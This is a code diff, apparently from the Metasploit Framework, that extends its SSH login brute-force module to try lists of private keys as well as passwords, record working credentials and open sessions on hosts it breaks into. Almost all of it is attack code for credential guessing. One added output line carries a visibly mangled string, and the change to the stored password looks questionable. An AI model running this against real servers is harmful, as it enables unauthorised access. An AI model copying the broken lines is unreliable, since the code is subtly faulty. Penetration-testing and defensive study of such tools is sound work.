77require 'net/ssh/command_stream'
88require 'metasploit/framework/login_scanner/ssh'
99require 'metasploit/framework/credential_collection'
10+ require 'metasploit/framework/key_collection'
1011
1112class MetasploitModule < Msf ::Auxiliary
1213 include Msf ::Auxiliary ::AuthBrute
@@ -16,6 +17,8 @@ class MetasploitModule < Msf::Auxiliary
1617 include Msf ::Exploit ::Remote ::SSH ::Options
1718 include Msf ::Sessions ::CreateSessionOptions
1819 include Msf ::Auxiliary ::ReportSummary
20+ include Msf ::Exploit ::Deprecated
21+ moved_from 'auxiliary/scanner/ssh/ssh_login_pubkey'
1922
2023 def initialize
2124 super (
@@ -26,7 +29,8 @@ def initialize
2629 and connected to a database this module will record successful
2730 logins and hosts so you can track your access.
2831 } ,
29- 'Author' => [ 'todb' ] ,
32+ 'Author' => [ 'todb' , 'RageLtMan' ] ,
33+ 'AKA' => [ 'ssh_login_pubkey' ] ,
3034 'References' => [
3135 [ 'CVE' , '1999-0502' ] # Weak password
3236 ] ,
@@ -36,7 +40,10 @@ def initialize
3640
3741 register_options (
3842 [
39- Opt ::RPORT ( 22 )
43+ Opt ::RPORT ( 22 ) ,
44+ OptPath . new ( 'KEY_PATH' , [ false , 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped. Duplicate private keys will be ignored.' ] ) ,
45+ OptString . new ( 'KEY_PASS' , [ false , 'Passphrase for SSH private key(s)' ] ) ,
46+ OptString . new ( 'PRIVATE_KEY' , [ false , 'The string value of the private key that will be used. If you are using MSFConsole, this value should be set as file:PRIVATE_KEY_PATH. OpenSSH, RSA, DSA, and ECDSA private keys are supported.' ] )
4047 ] , self . class
4148 )
4249
@@ -67,8 +74,9 @@ def session_setup(result, scanner)
6774 'USER_FILE' => nil ,
6875 'PASS_FILE' => nil ,
6976 'USERNAME' => result . credential . public ,
70- 'PASSWORD' => result . credential . private
77+ 'PASSWORD' => datastore [ 'PASSWORD' ]
7178 }
79+
7280 s = start_session ( self , nil , merge_me , false , sess . rstream , sess )
7381 self . sockets . delete ( scanner . ssh_socket . transport . socket )
7482
@@ -91,6 +99,34 @@ def run_host(ip)
9199 @ip = ip
92100 print_brute :ip => ip , :msg => 'Starting bruteforce'
93101
102+ if datastore [ 'USER_FILE' ] . blank? && datastore [ 'USERNAME' ] . blank?
103+ validation_reason = 'At least one of USER_FILE or USERNAME must be given'
104+ raise Msf ::OptionValidateError . new (
105+ {
106+ 'USER_FILE' => validation_reason ,
107+ 'USERNAME' => validation_reason
108+ }
109+ )
110+ end
111+
112+ unless attempt_password_login? || attempt_pubkey_login?
113+ validation_reason = 'At least one of KEY_PATH, PRIVATE_KEY or PASSWORD must be given'
114+ raise Msf ::OptionValidateError . new (
115+ {
116+ 'KEY_PATH' => validation_reason ,
117+ 'PRIVATE_KEY' => validation_reason ,
118+ 'PASSWORD' => validation_reason
119+ }
120+ )
121+ end
122+
123+ do_login_creds ( ip ) if attempt_password_login?
124+ do_login_pubkey ( ip ) if attempt_pubkey_login?
125+ end
126+
127+ def do_login_creds ( ip )
128+ print_status ( "#{ ip } :#{ rport } SSH - Testing User/Pass combinations" )
129+
94130 cred_collection = build_credential_collection (
95131 username : datastore [ 'USERNAME' ] ,
96132 password : datastore [ 'PASSWORD' ]
@@ -158,4 +194,120 @@ def run_host(ip)
158194 end
159195 end
160196 end
197+
198+ def do_login_pubkey ( ip )
199+ print_status ( "#{ ip } :#{ rport } SSH - Testing Cleartext Keys" )
200+
201+ if datastore [ 'USER_FILE' ] . blank? && datastore [ 'USERNAME' ] . blank?
202+ validation_reason = 'At least one of USER_FILE or USERNAME must be given'
203+ raise Msf ::OptionValidateError . new (
204+ {
205+ 'USER_FILE' => validation_reason ,
206+ 'USERNAME' => validation_reason
207+ }
208+ )
209+ end
210+
211+ keys = Metasploit ::Framework ::KeyCollection . new (
212+ key_path : datastore [ 'KEY_PATH' ] ,
213+ password : datastore [ 'KEY_PASS' ] ,
214+ user_file : datastore [ 'USER_FILE' ] ,
215+ username : datastore [ 'USERNAME' ] ,
216+ private_key : datastore [ 'PRIVATE_KEY' ]
217+ )
218+
219+ unless keys . valid?
220+ print_error ( 'Files that failed to be read:' )
221+ keys . error_list . each do |err |
222+ print_line ( "\t - #{ err } " )
223+ end
224+ end
225+
226+ keys = prepend_db_keys ( keys )
227+
228+ key_count = keys . key_data . count
229+ key_sources = [ ]
230+ unless datastore [ 'KEY_PATH' ] . blank?
231+ key_sources . append ( datastore [ 'KEY_PATH' ] )
232+ end
233+
234+ unless datastore [ 'PRIVATE_KEY' ] . blank?
235+ key_sources . append ( 'PRIVATE_KEY' )
236+ end
237+
238+ print_brute level : :vstatus , ip : ip , msg : "Testing #{ key_count } #{ 'key' . pluralize ( key_count ) } from #{ key_sources . join ( ' and ' ) } "
239+ scanner = Metasploit ::Framework ::LoginScanner ::SSH . new (
240+ configure_login_scanner (
241+ host : ip ,
242+ port : rport ,
243+ cred_details : keys ,
244+ stop_on_success : datastore [ 'STOP_ON_SUCCESS' ] ,
245+ bruteforce_speed : datastore [ 'BRUTEFORCE_SPEED' ] ,
246+ proxies : datastore [ 'Proxies' ] ,
247+ connection_timeout : datastore [ 'SSH_TIMEOUT' ] ,
248+ framework : framework ,
249+ framework_module : self ,
250+ skip_gather_proof : !datastore [ 'GatherProof' ]
251+ )
252+ )
253+
254+ scanner . verbosity = :debug if datastore [ 'SSH_DEBUG' ]
255+
256+ scanner . scan! do |result |
257+ credential_data = result . to_h
258+ credential_data . merge! (
259+ module_fullname : self . fullname ,
260+ workspace_id : myworkspace_id
261+ )
262+ case result . status
263+ when Metasploit ::Model ::Login ::Status ::SUCCESSFUL
264+ print_brute level : :good , ip : ip , msg : "Success: '#{ result . proof . to_s . gsub ( /[\r \n \e \b \a ]/ , ' ' ) } '"
265+ print_brute level : :vgood , ip : ip , msg : "#{ result . credential } ', ' ')}'"
266+ begin
267+ credential_core = create_credential ( credential_data )
268+ credential_data [ :core ] = credential_core
269+ create_credential_login ( credential_data )
270+ rescue ::StandardError => e
271+ print_brute level : :info , ip : ip , msg : "Failed to create credential: #{ e . class } #{ e } "
272+ print_brute level : :warn , ip : ip , msg : 'We do not currently support storing password protected SSH keys: https://github.com/rapid7/metasploit-framework/issues/20598'
273+ end
274+
275+ if datastore [ 'CreateSession' ]
276+ session_setup ( result , scanner )
277+ end
278+ if datastore [ 'GatherProof' ] && scanner . get_platform ( result . proof ) == 'unknown'
279+ msg = 'While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with'
280+ msg << " 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with"
281+ msg << ' device details so it can be handled in the future.'
282+ print_brute level : :error , ip : ip , msg : msg
283+ end
284+ :next_user
285+ when Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT
286+ if datastore [ 'VERBOSE' ]
287+ print_brute level : :verror , ip : ip , msg : "Could not connect: #{ result . proof } "
288+ end
289+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
290+ invalidate_login ( credential_data )
291+ :abort
292+ when Metasploit ::Model ::Login ::Status ::INCORRECT
293+ if datastore [ 'VERBOSE' ]
294+ print_brute level : :verror , ip : ip , msg : "Failed: '#{ result . credential } '"
295+ end
296+ invalidate_login ( credential_data )
297+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
298+ else
299+ invalidate_login ( credential_data )
300+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
301+ end
302+ end
303+ end
304+
305+ def attempt_pubkey_login?
306+ datastore [ 'KEY_PATH' ] . present? || datastore [ 'PRIVATE_KEY' ] . present?
307+ end
308+
309+ def attempt_password_login?
310+ datastore [ 'PASSWORD' ] . present?
311+ end
312+
161313end
0 commit comments